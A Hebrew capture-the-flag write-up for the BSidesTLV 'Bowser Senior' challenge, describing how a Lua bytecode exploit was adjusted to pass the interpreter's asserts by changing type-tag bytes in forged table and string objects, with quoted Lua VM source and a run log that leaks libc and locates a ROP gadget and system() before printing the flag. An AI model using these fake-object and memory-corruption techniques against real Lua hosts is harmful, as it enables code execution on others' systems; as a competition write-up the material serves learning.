Bowser Senior
- קטגוריה: Reverse Engineering
- 2000 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
תרגיל זה דומה מאוד לתרגיל הקודם, עם שינוי "קל": הוא מקומפל עם asserts בכל הקוד וה-exploit הקודם שלנו (עבור Bowser Junior) נופל בהם.
ה-assert הראשון שנפל היה:
lua_assert(cl->nupvalues == cl->p->sizeupvalues);
ב-Lua bytecode שייצרנו הייתה סתירה בין הערכים הללו. תיקון קטן וחסר השפעה עקף את ה-assert.
בחזרה לקוד:
vmcase(OP_LOADK) {
int xxb = GETARG_Bx(i);
bailout(xxb)
TValue *rb = k + xxb;
setobj2s(L, ra, rb);
vmbreak;
}
setobj2s הוא מאקרו שכחלק מפעולתו בודק שהאובייקט שנוצר מקיים את ה-assert הבא:
lua_longassert(!iscollectable(obj) || \
(righttt(obj) && (L == NULL || !isdead(G(L),gcvalue(obj)))))
הקוד בודק שהערך הקבוע הוא לא collectable. זוכרים את ביט 6 של האובייקט? אם משנים אותו מ:
local fake_table_data = string.pack('<LbbbbILLLLL', 0, 0x45, 0, 0, 0, 0x10, addrof(memview) + 0x10, 0, 0, 0, 0)
ל:
local fake_table_data = string.pack('<LbbbbILLLLL', 0, 0x05, 0, 0, 0, 0x10, addrof(memview) + 0x10, 0, 0, 0, 0)
ה-assert עובר ומגיע עד שלב מתקדם (כתיבת ה-exploit ב-stack), בקוד:
const TValue *luaT_gettmbyobj (lua_State *L, const TValue *o, TMS event) {
Table *mt;
switch (ttnov(o)) {
case LUA_TTABLE:
mt = hvalue(o)->metatable;
break;
#define hvalue(o) check_exp(ttistable(o), gco2t(val_(o).gc))
#define ttistable(o) checktag((o), ctb(LUA_TTABLE))
#define ctb(t) ((t) | BIT_ISCOLLECTABLE)
#define checktag(o,t) (rttype(o) == (t))
#define rttype(o) ((o)->tt_)
הפעם מדובר במקרה הפוך מהקודם - כעת הטבלה צריכה להיות collectable ולכן נשנה את הקוד מ:
content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x15) * 5)
ל:
content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)
נריץ, ונקבל את הדגל:
> cat "pwn.lua" | ncat bowserassert.challenges.bsidestlv.com 44444
Lua 5.3.3 Copyright (C) 1337-1994 now with asserts!(c) mitigations
> >> >> >> >> > > >> >> > > >> >> > > >> >> > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > > > > > > > > > > > > > > > > > > > > > > > > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > > >> >> >> >> >> >> >> >> >> > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >>
[*] Known table @ 0x555dd16136f0
[*] Data @ 0x555dd1613778
[*] Fake string @ 0x555dd1613788
[*] Fake table @ 0x555dd16137b0
[+] Fake objects created
Fake string: CDCD... (length: 0x7fffffffffffffff)
Fake table: 0x555dd16137b0
[*] Coroutine created: thread: 0x555dd1613f98
[*] Now executing coroutine. Associated state structure @ 0x555dd1613f98
[+] longjmp buffer @ 0x7ffc2779c7c0
x
[+] some_libc_address @ 0x7f39eef56bff
found candidate 0x7f39eeede000
[+] libc @ 0x7f39eeede000
[+] pop_rdi @ 0x7f39eeeff102
[+] system @ 0x7f39eef23390
[+] command @ 0x555dd16137f8
[*] ready to go!
BSidesTLV{Bowser_Just_Learned_To_use_Asserts}
close: No error